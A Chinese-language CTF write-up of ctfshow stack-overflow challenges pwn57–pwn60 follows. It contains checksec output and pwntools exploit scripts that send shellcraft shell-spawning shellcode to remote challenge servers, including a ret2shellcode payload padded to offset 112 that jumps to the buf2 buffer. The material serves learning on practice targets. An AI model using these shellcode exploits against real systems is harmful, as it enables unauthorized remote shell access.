当前位置: 首页 > news >正文

ctfshow做题笔记—栈溢出—pwn57~pwn60

目录

前言

一、pwn57(先了解一下简单的64位shellcode吧)

二、pwn58

三、pwn59(64位 无限制)

四、pwn60(入门难度shellcode)

前言

往前写了几道题,与shellcode有关,关于shellcode还不是太懂。


一、pwn57(先了解一下简单的64位shellcode吧

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn57
[*] '/home/kali/桌面/ctfshoww/pwn57'Arch:       amd64-64-littleRELRO:      No RELROStack:      No canary foundNX:         NX unknown - GNU_STACK missingPIE:        No PIE (0x400000)Stack:      ExecutableStripped:   No

没啥。

应该也是直接执行:

from pwn import *
p=remote("pwn.challenge.ctf.show",28235)
p.interactive()


二、pwn58

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn58
[*] '/home/kali/桌面/ctfshoww/pwn58'Arch:       i386-32-littleRELRO:      Partial RELROStack:      No canary foundNX:         NX unknown - GNU_STACK missingPIE:        No PIE (0x8048000)Stack:      ExecutableRWX:        Has RWX segmentsStripped:   No

也没有开啥保护。

logo明显提示用shellcode,所以我们需要发送sellcode。

Exp:

from pwn import *
e=ELF("./pwn58")
p=remote("pwn.challenge.ctf.show",28178)
shellcode=asm(shellcraft.sh())
payload=shellcode
p.sendline(payload)
p.interactive()


三、pwn59(64位 无限制

Checksec:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn59
[*] '/home/kali/桌面/ctfshoww/pwn59'Arch:       amd64-64-littleRELRO:      Partial RELROStack:      No canary foundNX:         NX unknown - GNU_STACK missingPIE:        No PIE (0x400000)Stack:      ExecutableRWX:        Has RWX segments
Stripped:   No

是64位的64位 无限制

也是写入shellcode。

看一下ROP:

ROPgadget --binary ./pwn50 --only "pop rbx|ret"

Gadgets information
============================================================
0x00000000004004fe : ret
0x0000000000400d74 : ret 0xfff9
0x0000000000400642 : ret 1Unique gadgets found: 3

ret=0x4004fe

一开始我是这样写的;

from pwn import *
p = remote('pwn.challenge.ctf.show',28256)
shellcode = asm(shellcraft.sh())
payload=shellcode
p.sendline(payload)
p.interactive()

但是打不通,问了问人机,加了一个架构,就能打通了:

from pwn import *
context.arch='amd64'
p = remote('pwn.challenge.ctf.show',28256)
shellcode = asm(shellcraft.sh())
payload=shellcode
p.sendline(payload)
p.interactive()


四、pwn60入门难度shellcode

查看一下程序:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn60
[*] '/home/kali/桌面/ctfshoww/pwn60'Arch:       i386-32-littleRELRO:      Partial RELROStack:      No canary foundNX:         NX unknown - GNU_STACK missingPIE:        No PIE (0x8048000)Stack:      ExecutableRWX:        Has RWX segmentsStripped:   NoDebuginfo:  Yes

没开什么保护。

主要是这个函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{int v4; // [sp+1Ch] [bp-64h]@1setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);puts("CTFshow-pwn can u pwn me here!!");gets((char *)&v4);strncpy(buf2, (const char *)&v4, 0x64u);printf("See you ~");return 0;
}

我们需要利用buf2,在其后面接shellcode

buf2_ar=0x804A080

我们需要用pwndbg确定一下:

确定偏移是112

Exp:

from pwn import *
context.log_level='debug'
p=remote("pwn.challenge.ctf.show",28264)
e=ELF("./pwn60")
buf2_ar=e.sym['buf2']
offset=112
shellcode=asm(shellcraft.sh())
payload=shellcode.ljust(offset,b'a')+p32(buf2_ar)
p.recvuntil("CTFshow-pwn can u pwn me here!!")
p.sendline(payload)
p.interactive()


继续学习中......

http://www.lryc.cn/news/542513.html

相关文章:

  • 数据结构 1-2 线性表的链式存储-链表
  • ArcGIS Pro进行坡度与坡向分析
  • My first Android application
  • ZLMediaKi集群设置
  • Docker基础实践与应用举例
  • Innovus中快速获取timing path逻辑深度的golden脚本
  • 百度AI图片助手,免费AI去水印、画质修复、画面延展以及局部替换
  • 【前端】Axios AJAX Fetch
  • 测试面试题:以一个登录窗口为例,设计一下登录界面测试的思路和方法
  • Android之图片保存相册及分享图片
  • EX_25/2/24
  • ElasticSearch公共方法封装
  • JVM之JVM的组成
  • 贪心算法
  • Linux下安装中文输入法总结
  • 人工智能(AI):科技新纪元的领航者
  • c3p0、Druid连接池+工具类 Apache-DbUtils (详解!!!)
  • 鸿蒙开发深入浅出03(封装通用LazyForEach实现懒加载)
  • AWS - Redshift - 外部表读取 Parquet 文件中 timestamp 类型的数据
  • Ubuntu20.04之VNC的安装使用与常见问题
  • vue3学习3-route
  • C++:dfs,bfs各两则
  • RK Android11 WiFi模组 AIC8800 驱动移植流程
  • 深度学习-6.用于计算机视觉的深度学习
  • 免费送源码:ava+springboot+MySQL 基于springboot 宠物医院管理系统的设计与实现 计算机毕业设计原创定制
  • 【电机控制器】ESP32-C3语言模型——DeepSeek
  • 小型字符级语言模型的改进方向和策略
  • 力扣-贪心-56 合并区间
  • vue 3D 翻页效果
  • 【系列专栏】银行信息系统研发外包风险管控-08